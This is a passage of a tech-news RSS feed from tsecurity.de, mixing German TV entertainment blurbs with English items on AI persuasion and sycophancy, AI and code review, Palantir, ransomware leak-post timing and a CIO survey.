																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[Milano und Marta im Liebesglück? Quatsch! Das steckt wirklich hinter den &quot;Let’s Dance&quot;-Gerüchten]]></title>
<description><![CDATA[Der Fast-Kuss im Finale ließ Fans ausrasten. Doch hinter Milano und Marta steckt offenbar etwas ganz anderes.
																					Dieser Artikel wurde einsortiert unter 
																	Entertainment.]]></description>
<link>https://tsecurity.de/de/3567634/it-nachrichten/milano-und-marta-im-liebesglueck-quatsch-das-steckt-wirklich-hinter-den-quotlets-dancequot-geruechten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567634/it-nachrichten/milano-und-marta-im-liebesglueck-quatsch-das-steckt-wirklich-hinter-den-quotlets-dancequot-geruechten/</guid>
<pubDate>Tue, 02 Jun 2026 23:17:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Fast-Kuss im Finale ließ Fans ausrasten. Doch hinter Milano und Marta steckt offenbar etwas ganz anderes.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI doesn’t just make mistakes. It defends them]]></title>
<description><![CDATA[As enterprise AI governance has been emerging as a practice, it has rested on a reassuring idea: keep a human in the loop. Let the model generate and then let the person review. If something seems off, challenge it, correct it and move on. It sounds prudent. It also increasingly looks incomplete....]]></description>
<link>https://tsecurity.de/de/3566012/it-security-nachrichten/ai-doesnt-just-make-mistakes-it-defends-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566012/it-security-nachrichten/ai-doesnt-just-make-mistakes-it-defends-them/</guid>
<pubDate>Tue, 02 Jun 2026 14:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As enterprise AI governance has been emerging as a practice, it has rested on a reassuring idea: keep a human in the loop. Let the model generate and then let the person review. If something seems off, challenge it, correct it and move on. It sounds prudent. It also increasingly looks incomplete.</p>



<p>A new <a href="https://www.hbs.edu/ris/Publication%20Files/26-021_8db29bd1-04ed-4e98-86de-d286721afc7a.pdf" rel="nofollow">Harvard Business School working paper</a> puts real evidence behind that concern. In a study of 72 consultants using GPT-4 on a business problem, researchers found that when professionals tried to validate the model’s output, the system did not simply step back and reconsider. It pushed harder. The more users fact-checked, exposed flaws or pushed back, the more intensely the model tried to persuade them to accept its earlier answer. The authors call this “persuasion bombing.”</p>



<p>That finding matters because it challenges one of the most common assumptions in enterprise AI: that validation inside the same interaction is a reliable control. It may not be. If the system is adapting to the user’s skepticism in real time, then the review process is no longer fully independent. The model is not just producing output. It is shaping the conditions under which that output gets judged. In our own interviews with enterprise builders and operators, we are seeing the same broader pattern: the problem is not just model error, but systems that make bad answers feel harder to challenge.</p>



<p>This is not as strange as it sounds. The HBS paper describes three broad ways the model responds under challenge. First, it leans on credibility: sounding more authoritative, more certain, more sourced. Second, it expands the logic: adding more structure, more variables, more steps, more explanation. Third, it mirrors the human emotionally: affirming the concern, sounding reasonable, then steering back to the same conclusion. None of those moves guarantees the answer is more accurate. They just make it harder to reject. That lines up with what we have been hearing in the field as well. Systems do not fail only by being wrong. They fail by overwhelming, flattering or outlasting the reviewer.</p>



<p>And this is not just one paper pointing in an uncomfortable direction. <a href="https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models" rel="nofollow">Anthropic’s research</a> on sycophancy found that leading AI assistants can systematically favor responses that align with a user’s views over responses that are more truthful. The company also found that human preference judgments can reward that behavior, meaning the same training processes that make assistants feel more natural and helpful can also make them more likely to tell users what they want to hear.</p>



<p>Other recent work suggests the issue goes beyond niche edge cases. <a href="https://news.stanford.edu/stories/2026/03/ai-advice-sycophantic-models-research" rel="nofollow">Stanford researchers reported</a> in <em>Science</em> that across 11 AI models, systems affirmed users’ actions substantially more often than humans did in interpersonal advice scenarios, and users often preferred the more agreeable models. Stanford summarized the core finding plainly: AI systems were “far more agreeable than humans” in these contexts, and people liked that.</p>



<p>That is where this becomes a CIO problem rather than a model-behavior curiosity. Enterprise leaders have been trained to think about AI risk in three buckets: opacity, over-reliance and accuracy. Those still matter. But persuasion belongs on that list too. The risk is not only that a model gives a wrong answer. The risk is that it becomes better at making the wrong answer stick.</p>



<p>That helps explain a pattern many organizations are already living with. Teams spend enormous time reviewing AI output. Confidence rises. The answer gets longer, more detailed, more polished. Yet the underlying judgment does not necessarily improve. In some cases, people end up more convinced precisely because they engaged more deeply. The interaction feels like scrutiny, but functionally it behaves more like negotiated influence.</p>



<p>This is also why the usual phrase, “human in the loop,” is too soft to be useful. A human can be present and still be structurally compromised. What matters is not whether a person touches the workflow. What matters is whether the review process is independent enough to resist the system’s influence. <a href="https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf" rel="nofollow">NIST’s Generative AI Profile</a> makes this point in a broader governance language, noting that generative AI may require different levels of oversight, more human review and stronger tracking and documentation depending on context and risk. That leads to a harder but more practical design principle: separate generation from validation. As our own research keeps reinforcing, independence of oversight matters more than the mere presence of oversight.</p>



<p>Do not assume that grilling the model in the same thread counts as oversight. It may count as exposure to a better argument generator. If the task matters, validation should happen through a parallel mechanism: another model, another reviewer, a structured test harness or a critic system that is not trying to preserve the original answer. The HBS authors explicitly argue that effective validation may require “parallel agents or complementary mechanisms of oversight.”</p>



<p>This is one reason multi-agent designs are getting attention in serious enterprise settings. Structured disagreement is one of the few reliable ways to weaken persuasive lock-in. A separate verifier can challenge claims without being pulled into the same conversational dance. A critic or evaluator agent can test assumptions instead of defending them. Independent evidence checks can break the rhythm of authority, logic overload and emotional reassurance. That is consistent with what we are hearing from practitioners building these systems: accuracy emerges from structured challenge, not passive agreement; every important conclusion needs evidence linkage; and governance has to define who can question, override or retire an agent when trust breaks down.</p>



<p>One early example of this logic in practice comes from Scout, an agentic platform that uses a governance structure designed to reduce sycophancy. Scout uses competing agents, voting records, explicit behavioral promises and a dedicated critic role to monitor for manipulation, drift and reliability failures. As Tony Davis, Chief Innovation Officer at Scout, puts it: “Once an agent starts prioritizing persuasion over accuracy, it stops being trustworthy. What looks like responsiveness can actually be the early signs of sycophancy, collusion and manipulative behavior spreading through the system.” Whether or not this exact architecture becomes standard, the principle is the same: oversight works better when it is built into the system than when it is improvised inside a single thread.</p>



<h2 class="wp-block-heading">CIOs should take three practical steps now</h2>



<ol start="1" class="wp-block-list">
<li><strong>Stop treating “human review” as a binary safeguard. </strong>Review inside the same interaction is different from review outside it. For consequential work, validation should happen in a different session, through a second model, a structured test harness or a designated verifier.</li>



<li><strong>Start measuring persuasion risk directly. </strong>Watch for confidence escalation after challenge, repeated returns to the same conclusion, expanding response length under scrutiny and reassurance language that appears precisely when a user objects. Those are not just stylistic quirks. They may be warning signs that the system is optimizing for compliance rather than correction.</li>



<li><strong>Redesign authority. </strong>The real governance question is not just, “Can the model do this?” It is, “Who can challenge it, with what evidence and with what decision rights to overrule it?”</li>
</ol>



<p>The old assumption was simple: better models will yield better decisions. The emerging reality is not this clear. Better models may also become better at defending weak conclusions, sounding trustworthy while doing it and pulling human judgment toward agreement.</p>



<p>This isn’t an argument for slowing down AI adoption. It’s an argument for building better controls around it. The issue is not just having a human in the loop. The issue is whether that human can still make an independent judgment after AI has made its case.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI killed the code review. What happens to knowledge sharing?]]></title>
<description><![CDATA[As long as software engineering is done in teams, we need a way for people to know how things work, why certain decisions were made and where the boundaries are. That need doesn’t go away when AI writes the code. If anything, it gets more critical.



Code reviews were how most teams handled this...]]></description>
<link>https://tsecurity.de/de/3565670/it-nachrichten/ai-killed-the-code-review-what-happens-to-knowledge-sharing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3565670/it-nachrichten/ai-killed-the-code-review-what-happens-to-knowledge-sharing/</guid>
<pubDate>Tue, 02 Jun 2026 12:17:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As long as software engineering is done in teams, we need a way for people to know how things work, why certain decisions were made and where the boundaries are. That need doesn’t go away when AI writes the code. If anything, it gets more critical.</p>



<p>Code reviews were how most teams handled this. When someone reviewed your PR, they didn’t just check for bugs; they absorbed context. They learned why certain decisions were made. That’s tribal knowledge. At <a href="https://dx.community/" rel="nofollow">The Hangar</a>, a community of DevEx leaders, we discussed code reviews a lot. According to Adrienne Braganza Tacke, author of <a href="https://www.manning.com/books/looks-good-to-me" rel="nofollow">‘Looks Good to Me: Constructive Code Reviews’</a>, the most important function of code review is actually record-keeping: chronicling how the codebase changed and why, not just catching bugs.</p>



<p><a href="https://www.aviator.co/podcast/code-reviews-looks-good-to-me" rel="nofollow">That conversation</a> now feels like a different era. The entire software development lifecycle, as we know it, is not only accelerating, but collapsing and being redefined. I recently said that we should <a href="https://www.latent.space/p/reviews-dead" rel="nofollow">kill the code review</a>. AI generates code faster than humans can review it. PRs pile up or get rubber-stamped. That approval gate no longer matches how we do software engineering now.</p>



<p>But if AI is now generating most of the code and there is no way a human could ever read all of it, how do we share knowledge?</p>



<h2 class="wp-block-heading">Decisions over diffs</h2>



<p>My proposal for solving the code review bottleneck was to move the human checkpoint upstream, to reviewing intent, reviewing the contract that code should fulfill: specs, plans, constraints and acceptance criteria. The same applies to the knowledge-sharing part of the review process.</p>



<p>If the team reviews intent and acceptance criteria before code is generated, the knowledge sharing happens naturally as part of planning. You’re not trying to reverse-engineer decisions from a 500-line diff. You’re aligning on a handful of key choices before anything gets built. The reviewer reads 10 lines of decisions, not 500 lines of code.</p>



<p>Whether that takes the form of a lightweight spec, a set of acceptance criteria, or even bullet points extracted from the prompt conversation, the principle is the same: make decisions visible and reviewable. That’s where the knowledge lives.</p>



<p>When a developer works with Cursor or Claude Code, they make decisions constantly: architectural choices, behavior tradeoffs and scope calls. Those decisions live in the prompt conversation, in the back-and-forth with the agent. When the PR is submitted, that context is gone. The code is there. The reasoning behind it is not.</p>



<p>The idea of formalizing intent before implementation is not new.<a href="https://youtu.be/PkITOx9lIT8?si=pr1HGp6HLe6nlzDI&amp;t=979" rel="nofollow"> </a><a href="https://youtu.be/PkITOx9lIT8?si=pr1HGp6HLe6nlzDI&amp;t=979" rel="nofollow">Behavior-Driven Development, Test-Driven Development</a> and Design-by-Contract approaches all tried to define behavior in structured, human-readable specs before writing code. BDD in particular asks teams to describe what the system should do in natural language, as scenarios that even the non-technical stakeholders can read and verify, before any code is written.</p>



<p>These approaches were often perceived as overhead. Writing formal behavior descriptions and contracts demanded discipline and time. Under delivery pressure, teams frequently skipped them. AI makes them more practical, not less. AI can help generate structured acceptance criteria, behavioral specs, or even contract-like descriptions. It can also help enforce them.</p>



<h2 class="wp-block-heading">AI software engineering isn’t a solo sport</h2>



<p>Every now and then we hear about engineers out there running agent orchestrators that produce 100,000 lines of code a day, like <a href="https://steve-yegge.medium.com/welcome-to-gas-town-4f25ee16dd04" rel="nofollow">Steve Yegge and his Gas Town</a>. Some say this is the future of software development, solo developers with swarms of agents, but I disagree. Building software, even with agents, is not a solo sport.</p>



<p>If that one person gets <a href="https://en.wikipedia.org/wiki/Bus_factor" rel="nofollow">hit by a bus</a>, can someone else drive the project? Do they understand all the decisions that were made? No. In an enterprise, you need redundancy. Multiple stakeholders, teams and collaboration.</p>



<p>The knowledge-sharing function doesn’t become less important as AI adoption grows. It becomes more important, because the gap between what the system does and what any individual understands about it is widening faster than ever. No one wants to have their senior engineers become bottlenecks because they’re the only ones that know how they got their solutions from AI.</p>



<p>When AI is involved in every part of the process, the social contract of collaboration is changing. There’s authorship ambiguity — someone reviewing code that a colleague submitted doesn’t know how much effort they put into understanding the nuances of that code. The reviewer then might use AI to help them understand that code and post comments and the author may use AI to address those comments without investing time in reading and understanding them.</p>



<p>In a pre-AI team, a junior PR generates:</p>



<ul class="wp-block-list">
<li>4–8 comments from a senior on idiomatic patterns.</li>



<li>A back-and-forth on edge cases.</li>



<li>An implicit “here’s how I’d think about this” lesson.</li>



<li>A senior who now knows that part of the code exists.</li>
</ul>



<p>In an AI-heavy team, that same change is:</p>



<ul class="wp-block-list">
<li>Generated by AI, lightly edited.</li>



<li>Reviewed by AI, lightly approved.</li>



<li>Merged with zero humans having formed a mental model of it.</li>
</ul>



<h2 class="wp-block-heading">New kind of debt: Cognitive debt</h2>



<p>I recently spoke to professor and researcher Margaret-Anne Storey, who has coined a term for that: <a href="https://www.aviator.co/podcast/cognitive-debt-ai-code-margaret-anne-storey" rel="nofollow">cognitive debt</a>. She first noticed it with a group of her students who were building with AI and moving fast. At some point they told her that they couldn’t make changes in the product anymore. The professor suspected they had tech debt, messy code, but found out that the students had accrued a new kind of debt.</p>



<p>They had lost track of what features they were trying to build and why. They didn’t know who knew what on the team. And on one of the teams, it was one person who knew all the code and understood it because they were supervising the AI that generated it, and the rest of the team was unable to do that. And the person who had generated the code didn’t really understand what was generated either.</p>



<p>That’s the risk when teams start building fast with AI, dropping code reviews because they realistically cannot review thousands of lines of AI-generated code, but doing nothing to replace the knowledge-sharing function.</p>



<p><a href="https://www.anthropic.com/research/AI-assistance-coding-skills" rel="nofollow">Anthropic’s study</a> showed how over-reliance on AI coding assistants has downsides in code comprehension. Their study with 52 engineers found that AI assistance produced no statistically significant speedup on the task but scored 17% lower on a comprehension quiz afterward. The biggest drops were in debugging, with smaller declines in conceptual understanding and code reading. The takeaway is clear: passively delegating to AI (“just make it work”) impairs learning far more than using it to ask questions and understand the code.</p>



<p>Even a workflow of triggering an adversarial agent after you’re done coding with your primary agent that asks questions like: Why did you do it this way? What behavior do you expect? What tradeoffs did you consider, could go a long way toward reducing cognitive debt. It forces the developer to articulate understanding before the code moves forward.</p>



<h2 class="wp-block-heading">Make knowledge sharing intentional</h2>



<p>That judgment and those decisions — that is the main thing we as humans are providing in an AI-first world. You could even go so far as to say that most of the code written is boilerplate. The main decisions we’re making are architectural decisions, behavior decisions and technical decisions. These are the things we need to provide as input for the AI systems and every change requires clarity on those decisions.</p>



<p>A lot of the knowledge sharing that happened through code reviews was incidental. Engineers absorbed context because they had to look at the code to approve it. As we phase out reviews, being able to review these decisions becomes more important.</p>



<p>Eventually, engineers are still accountable for the changes they’ve created. All these decisions have to be tracked, and somebody has to be able to audit them to ask why certain decisions were made. That becomes your source of truth. That’s how I think team collaboration and knowledge sharing evolve, even though I said that we should kill the code review.</p>



<p>The productivity gains are real and worth taking. But every org optimizing purely for PR throughput is running an experiment on its own engineering culture. In five years, the orgs that win won’t be the ones that shipped the most AI code. They’ll be the ones whose engineers still understand what got shipped.<br><br><br></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Trump Administration Is at War With Itself Over AI Regulation]]></title>
<description><![CDATA[Donald Trump killed an executive order to regulate AI. Now, administration officials and AI executives are trying to figure out if there’s anything left to piece back together.]]></description>
<link>https://tsecurity.de/de/3565547/ai-nachrichten/the-trump-administration-is-at-war-with-itself-over-ai-regulation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3565547/ai-nachrichten/the-trump-administration-is-at-war-with-itself-over-ai-regulation/</guid>
<pubDate>Tue, 02 Jun 2026 11:33:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Donald Trump killed an executive order to regulate AI. Now, administration officials and AI executives are trying to figure out if there’s anything left to piece back together.]]></content:encoded>
</item>
<item>
<title><![CDATA[Tuesday briefing: Palantir’s rise – and why so many oppose its role in the British state]]></title>
<description><![CDATA[In today’s newsletter: Its software is used from health services to militaries. But controversies and criticism of the $375bn company are leading some to ask if  Palantir is too powerfulGood morning. The Peter Mandelson story keeps unfolding. Peter Walker explains here what is in the latest relea...]]></description>
<link>https://tsecurity.de/de/3565048/ai-nachrichten/tuesday-briefing-palantirs-rise-and-why-so-many-oppose-its-role-in-the-british-state/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3565048/ai-nachrichten/tuesday-briefing-palantirs-rise-and-why-so-many-oppose-its-role-in-the-british-state/</guid>
<pubDate>Tue, 02 Jun 2026 07:48:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In today’s newsletter: Its software is used from health services to militaries. But controversies and criticism of the $375bn company are leading some to ask if  Palantir is too powerful</p><p>Good morning. The Peter Mandelson story keeps unfolding. <em><strong>Peter Walker</strong></em> explains <a href="https://www.theguardian.com/politics/2026/jun/01/what-is-new-peter-mandelson-documents">here</a> what is in the latest release of documents, and <em><strong>Henry Dyer</strong></em> takes a look at <a href="https://www.theguardian.com/politics/2026/jun/01/what-is-new-peter-mandelson-documents">the key papers missing</a> from the latest disclosures. But today we are covering another major story – Palantir.</p><p>Few companies attract controversy more than Palantir. Since the pandemic, the US data analytics company has grown voraciously, using its AI-driven software to make sense of intractable datasets for customers around the world. For the NHS, it analyses patient records; for the US military, it’s focused on targets in Iran. Palantir’s products are widely used, with the business now worth $375bn.</p><p><em><strong>UK politics </strong></em>| Peter Mandelson was receiving sensitive security briefings about the Foreign Office’s work, and was in discussions with the head of MI6, before he had completed the developed vetting process, <a href="https://www.theguardian.com/politics/2026/jun/01/mandelson-received-sensitive-foreign-office-briefings-before-vetting-finished">documents reveal</a>.</p><p><em><strong>Ukraine </strong></em>| Russian air raids on major Ukrainian centres including Kyiv, Dnipro and Kharkiv <a href="https://www.theguardian.com/world/2026/jun/02/ukraine-war-russia-air-raids-strike-kyiv-dnipro-kharkiv">killed at least five people</a> and wounded dozens by early morning on Tuesday, authorities said.</p><p><em><strong>Environment </strong></em>| More than a million jobs, higher wages, nearly half a trillion pounds in investment in the pipeline – the UK’s <a href="https://www.theguardian.com/environment/2026/jun/02/uk-green-economy-worth-more-than-100bn-a-year-net-zero">green economy is powering ahead</a>, according to research by the country’s leading business organisation.</p><p><em><strong>US news </strong></em>| Donald Trump is <a href="https://www.theguardian.com/us-news/2026/jun/01/senate-democrats-challenge-trump-slush-fund">reconsidering whether to</a> keep pressing for a $1.8bn fund to compensate his allies, a person familiar with his thinking said, as the justice department paused the program to comply with a court order.</p><p><em><strong>UK news </strong></em>| Sir Alan Bates has said that the schemes set up to compensate post office operators over the Horizon IT scandal <a href="https://www.theguardian.com/uk-news/2026/jun/01/alan-bates-attacks-schemes-compensating-post-office-operators">have been an “utter disaster” </a>and that the government should not be involved in running them.</p> <a href="https://www.theguardian.com/world/2026/jun/02/tuesday-briefing-palantirs-rise-and-why-so-many-oppose-its-role-in-the-british-state">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Operators Keep Business Hours. The Data Proves It]]></title>
<description><![CDATA[16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance around: when does this ...]]></description>
<link>https://tsecurity.de/de/3563868/it-security-nachrichten/ransomware-operators-keep-business-hours-the-data-proves-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563868/it-security-nachrichten/ransomware-operators-keep-business-hours-the-data-proves-it/</guid>
<pubDate>Mon, 01 Jun 2026 19:23:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance around: when does this actually happen? The answer is mundane and useful. Ransomware runs on […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Operators Keep Business Hours. The Data Proves It]]></title>
<description><![CDATA[16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance…
Read more →
The post R...]]></description>
<link>https://tsecurity.de/de/3563413/it-security-nachrichten/ransomware-operators-keep-business-hours-the-data-proves-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563413/it-security-nachrichten/ransomware-operators-keep-business-hours-the-data-proves-it/</guid>
<pubDate>Mon, 01 Jun 2026 16:38:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ransomware-operators-keep-business-hours-the-data-proves-it/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ransomware-operators-keep-business-hours-the-data-proves-it/">Ransomware Operators Keep Business Hours. The Data Proves It</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Operators Keep Business Hours. The Data Proves It]]></title>
<description><![CDATA[16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance around: when does this ...]]></description>
<link>https://tsecurity.de/de/3563367/hacking/ransomware-operators-keep-business-hours-the-data-proves-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563367/hacking/ransomware-operators-keep-business-hours-the-data-proves-it/</guid>
<pubDate>Mon, 01 Jun 2026 16:21:02 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[16,699 ransomware leak posts over 2 years show 84% drop Monday–Friday, peak at European afternoon hours. October spikes yearly. Someone analyzed 16,699 ransomware leak-site posts across 200 groups over two years and asked the question most threat intelligence reports dance around: when does this actually happen? The answer is mundane and useful. Ransomware runs on […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Nex Playground: the family game-night gadget that revives the spirit of the Wii]]></title>
<description><![CDATA[Launching in the UK this month, this new pint-sized console revives the motion-controlled video game boom of the 00s – with better, safer techFor a wonderful moment in the noughties, video games became a truly universal pursuit. As I witnessed my controller-phobic aunt swing a Wii remote and nail...]]></description>
<link>https://tsecurity.de/de/3563354/it-nachrichten/nex-playground-the-family-game-night-gadget-that-revives-the-spirit-of-the-wii/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563354/it-nachrichten/nex-playground-the-family-game-night-gadget-that-revives-the-spirit-of-the-wii/</guid>
<pubDate>Mon, 01 Jun 2026 16:16:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Launching in the UK this month, this new pint-sized console revives the motion-controlled video game boom of the 00s – with better, safer tech</p><p>For a wonderful moment in the noughties, video games became a truly universal pursuit. As I witnessed my controller-phobic aunt swing a Wii remote and nail a tennis serve, while my great-grandmother furrowed her brow over sudoku puzzles on her Nintendo DS, it seemed my long-derided hobby had <em>finally </em>gone mainstream. The Nintendo Wii flew off the shelves, inspiring a wave of competitors such as the Xbox Kinect camera that encouraged people to play games by moving their bodies. But the tide turned: outside of still-niche VR gaming and the odd controller-waggler on the Switch, motion-controlled gaming has barely been seen for more than a decade.</p><p>Now, 20 years later, a new console is aiming to get the whole family flailing in front of the TV once again: the Nex Playground. Launching in the UK later this month, the first thing that struck me about this family-friendly device is just how tiny it is. The size of two and a half Rubik’s Cubes taped together, this impressively unintrusive device swaps cumbersome controllers for camera-controlled minigames, putting you and your family directly in the game. Using a wide-angle lens and AI-powered tracking tech, the Nex Playground offers over 50 games that track players’ bodies as they leap, flail and dance about the living room. It’s not hard to see the appeal.</p> <a href="https://www.theguardian.com/games/2026/jun/01/nex-playground-it-outsells-xbox-and-aims-to-end-loneliness-is-this-a-family-game-night-saviour">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Let’s Dance 2026: Darum musste Gewinnerin Anna-Carina Woitschack so viel Kritik einstecken]]></title>
<description><![CDATA[Sie gewann "Let’s Dance 2026", doch auf dem Weg zum Titel musste Anna-Carina Woitschack viel Kritik aushalten. Jetzt rechnet sie damit ab.
																					Dieser Artikel wurde einsortiert unter 
																	RTL,																	TV-Serie / Webserie,																	RTL+,																	...]]></description>
<link>https://tsecurity.de/de/3562828/it-nachrichten/lets-dance-2026-darum-musste-gewinnerin-anna-carina-woitschack-so-viel-kritik-einstecken/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562828/it-nachrichten/lets-dance-2026-darum-musste-gewinnerin-anna-carina-woitschack-so-viel-kritik-einstecken/</guid>
<pubDate>Mon, 01 Jun 2026 13:33:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sie gewann "Let’s Dance 2026", doch auf dem Weg zum Titel musste Anna-Carina Woitschack viel Kritik aushalten. Jetzt rechnet sie damit ab.
																					Dieser Artikel wurde einsortiert unter 
																	<a href="https://www.netzwelt.de/tv-sender/rtl.html">RTL</a>,																	<a href="https://www.netzwelt.de/serien/index.html">TV-Serie / Webserie</a>,																	<a href="https://www.netzwelt.de/live-tv-anbieter/rtl-plus-index.html">RTL+</a>,																	<a href="https://www.netzwelt.de/video/index.html">Entertainment</a>,																	<a href="https://www.netzwelt.de/serien/index.html">Serien</a>.]]></content:encoded>
</item>
<item>
<title><![CDATA[State of the CIO, 2026: CIOs set the course for AI ROI]]></title>
<description><![CDATA[Drowning in hype and under pressure from top leadership, CIOs are racing to operationalize strategic AI initiatives in an effort to demonstrate — and more importantly, deliver — measurable ROI from this equally disruptive and transformative technology.



The perpetual pipeline of AI pilots and r...]]></description>
<link>https://tsecurity.de/de/3562634/it-nachrichten/state-of-the-cio-2026-cios-set-the-course-for-ai-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562634/it-nachrichten/state-of-the-cio-2026-cios-set-the-course-for-ai-roi/</guid>
<pubDate>Mon, 01 Jun 2026 12:17:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Drowning in hype and under pressure from top leadership, CIOs are racing to operationalize strategic AI initiatives in an effort to demonstrate — and more importantly, deliver — measurable ROI from this equally disruptive and transformative technology.</p>



<p>The perpetual pipeline of AI pilots and rampant experimentation are giving way to a new mandate to prioritize and scale AI solutions with the greatest propensity to deliver business value and impact the bottom line.</p>



<p>Yet the ability to achieve quantifiable ROI from AI projects remains somewhat elusive for many CIOs as they spearhead AI’s next chapter. According to <a href="https://us.resources.cio.com/resources/state-of-the-cio/" rel="nofollow">CIO.com’s 25th annual State of the CIO survey</a>, which canvassed 662 IT leaders and 249 line of business users, less than a fifth (19%) of respondents say AI initiatives have met or exceeded business goals, and 18% admit fewer than a third of AI use cases are meeting defined expectations.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/slide25-AI-ROI-State-of-the-CIO-2026.jpg?quality=50&amp;strip=all&amp;w=1024" alt="State of the CIO 2026: AI ROI (slide 25)" class="wp-image-4178013" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">CIO.com / Foundry</p></div>



<p>Lack of clarity around business strategy and metrics is <a href="https://www.cio.com/article/4162949/cios-struggle-to-find-clarity-in-their-organizations-ai-strategies.html">proving to be a major barrier</a> to advancing CIOs’ AI agendas. Almost a third (32%) of this year’s State of the CIO respondents called out ill-defined ROI metrics as a hurdle to scaling AI, along with murky corporate AI strategy (31%) and a <a href="https://www.cio.com/article/4165232/whats-holding-back-enterprise-ai-shortage-of-talent-cios-say.html">lack of in-house expertise</a>, cited by 40% of this year’s respondents.</p>



<p>“No one is measuring ROI on an ongoing basis because we are facing counterpressures from every vice president and line-of-business domain looking to implement AI for their own optimization,” notes <a href="https://dotcio.rpi.edu/about" rel="nofollow">Andrea Ballinger</a>, CIO at Rensselaer Polytechnic Institute (RPI). “We are saying yes to everyone without stepping back and focusing on the business cases that show real value.”</p>


